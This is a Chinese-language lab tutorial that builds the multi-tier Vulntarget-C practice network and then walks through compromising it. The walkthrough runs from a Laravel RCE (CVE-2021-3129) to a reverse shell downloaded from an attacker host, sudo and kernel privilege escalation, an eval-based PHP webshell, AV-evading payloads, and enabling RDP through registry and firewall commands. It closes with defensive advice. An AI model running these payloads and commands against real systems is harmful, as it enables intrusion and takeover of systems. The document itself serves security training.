vulntarget漏洞靶场系列(三)— vulntarget-c
字数 1897 2025-08-29 08:31:35
Vulntarget漏洞靶场系列(三) - Vulntarget-C 渗透测试教学文档
靶场概述
Vulntarget-C是一个多层网络环境的渗透测试靶场,包含以下主要组件:
- 外网Ubuntu 20.04服务器(运行Laravel 8.4.2)
- 内网Windows Server 2016(运行OVAS-PHP CMS)
- 更深层内网Ubuntu 16.04服务器
靶场搭建指南
1. 外网Ubuntu 20.04配置
1.1 基础环境
- 镜像来源:阿里云Ubuntu 20.04镜像
- 网络配置:双网卡(桥接模式)
- ens33: 192.168.0.104/24
- ens38: 10.0.20.141/24
- 设置root密码:
sudo passwd root(密码:root#qwe) - 允许SSH远程登录:修改
/etc/ssh/sshd_config
1.2 Laravel环境搭建
-
安装PHP 7.4.3:
apt-get update apt install php7.4-cli -
安装Composer 2.0.8:
php -r "copy('https://getcomposer.org/installer', 'composer-setup.php');" php composer-setup.php --version=2.0.8 php -r "unlink('composer-setup.php');" mv composer.phar /usr/bin/composer -
配置阿里云Composer源:
composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/ -
安装Laravel 8.4.2:
composer -vvv install sudo chmod -R 777 laravel-8.4.2 -
安装漏洞插件:
composer require facade/ignition==2.5.1 -
配置环境:
cp .env.example .env php artisan key:generate
1.3 Apache配置
-
安装Apache和PHP解析:
sudo apt-get install apache2 sudo apt install libapache2-mod-php7.4 -
修改配置文件
/etc/apache2/apache2.conf:<Directory /var/www/> Options Indexes FollowSymLinks AllowOverride all Require all granted </Directory> IncludeOptional mods-available/php7.4.load IncludeOptional mods-available/php7.4.conf -
启用rewrite模块:
sudo a2enmod rewrite sudo systemctl restart apache2
1.4 提权配置
- 编辑
/etc/sudoers文件:vulntarget ALL=(ALL:ALL) NOPASSWD:/usr/bin/python3 /opt/root.py
2. Windows Server 2016配置
2.1 XAMPP安装
- 版本:XAMPP for Windows
- 安装路径:C:\xampp
2.2 OVAS-PHP CMS安装
- 解压CMS到C:\xampp\htdocs\ovas
- 创建数据库ovas_db
- 导入SQL文件:C:\xampp\htdocs\ovas\database\ovas_db.sql
- 后台登录凭证:admin/admin123
3. Ubuntu 16.04配置
- 网络配置:静态IP
- SSH服务安装与配置
渗透测试过程
1. 外网渗透
1.1 信息收集
- 目标IP:10.30.7.51
- 开放端口:22(SSH)、80(HTTP)
- Web框架:Laravel
1.2 Laravel漏洞利用(CVE-2021-3129)
-
下载利用工具:
git clone https://github.com/SNCKER/CVE-2021-3129 cd CVE-2021-3129 git clone https://github.com/ambionics/phpggc.git -
修改exploit.py脚本:
- 设置目标IP
- 添加反弹shell命令
-
执行攻击:
python3 exploit.py
1.3 获取初始立足点
-
生成Linux反向shell:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<攻击机IP> LPORT=4444 -f elf -o shell.elf -
目标机下载执行:
cd /var/www/html/public wget http://<攻击机IP>:9999/shell.elf chmod 777 shell.elf ./shell.elf
1.4 提权
-
发现sudo提权漏洞:
sudo -l -
利用/opt/root.py提权:
sudo /usr/bin/python3 /opt/root.py -
在另一个终端连接:
nc localhost 12345 -
触发pdb调试模式后执行:
import os os.system("chmod u+s /bin/bash")
2. 内网横向移动
2.1 信息收集
- 发现内网网段:10.0.20.0/24
- 存活主机:10.0.20.100(开放80、443)
2.2 OVAS-PHP后台爆破
- 使用Burp Suite爆破登录:
- 路径:/classes/Login.php?f=login
- 成功凭证:admin/admin123
2.3 SQL注入获取Webshell
-
使用sqlmap通过代理扫描:
sqlmap -r request.txt --proxy=socks://<代理IP>:8888 -
写入一句话木马:
echo ^<^?php $a = $_REQUEST['d'];$a = "$a";$b['test'] = "";eval($b['test']."$a");?^> > test.php -
使用蚁剑连接
2.4 免杀上线MSF
- 生成免杀payload绕过Windows Defender
- 上传并执行payload
2.5 远程桌面连接
-
抓取密码哈希并破解:
- 密码:Admin#123
-
开启远程桌面:
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1 netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
3. 深层内网渗透
3.1 发现新网段
- 10.0.10.0/24
- 存活主机:10.0.10.110
3.2 Ubuntu 16.04提权
- 使用CVE-2021-3493提权:
# 编译并上传exp chmod +x exp ./exp
关键漏洞总结
-
Laravel RCE (CVE-2021-3129)
- 影响版本:Laravel <= 8.4.2 + Ignition <= 2.5.1
- 利用方式:通过恶意日志文件实现RCE
-
OVAS-PHP漏洞
- 弱口令:admin/admin123
- SQL注入导致getshell
-
提权漏洞
- Ubuntu 20.04:配置不当的sudo权限
- Ubuntu 16.04:CVE-2021-3493内核提权
-
Windows Defender绕过
- 需要制作免杀payload
防御建议
-
Laravel防护:
- 禁用调试模式
- 及时更新到安全版本
-
OVAS-PHP防护:
- 修改默认凭证
- 修复SQL注入漏洞
-
系统安全:
- 限制sudo权限
- 及时更新内核补丁
- 配置强密码策略
-
网络防护:
- 网络隔离
- 限制不必要的端口和服务
本教学文档详细记录了Vulntarget-C靶场的搭建过程和渗透测试方法,涵盖了从外网打点到内网横向移动的全过程,重点突出了关键漏洞的利用方式和防御措施。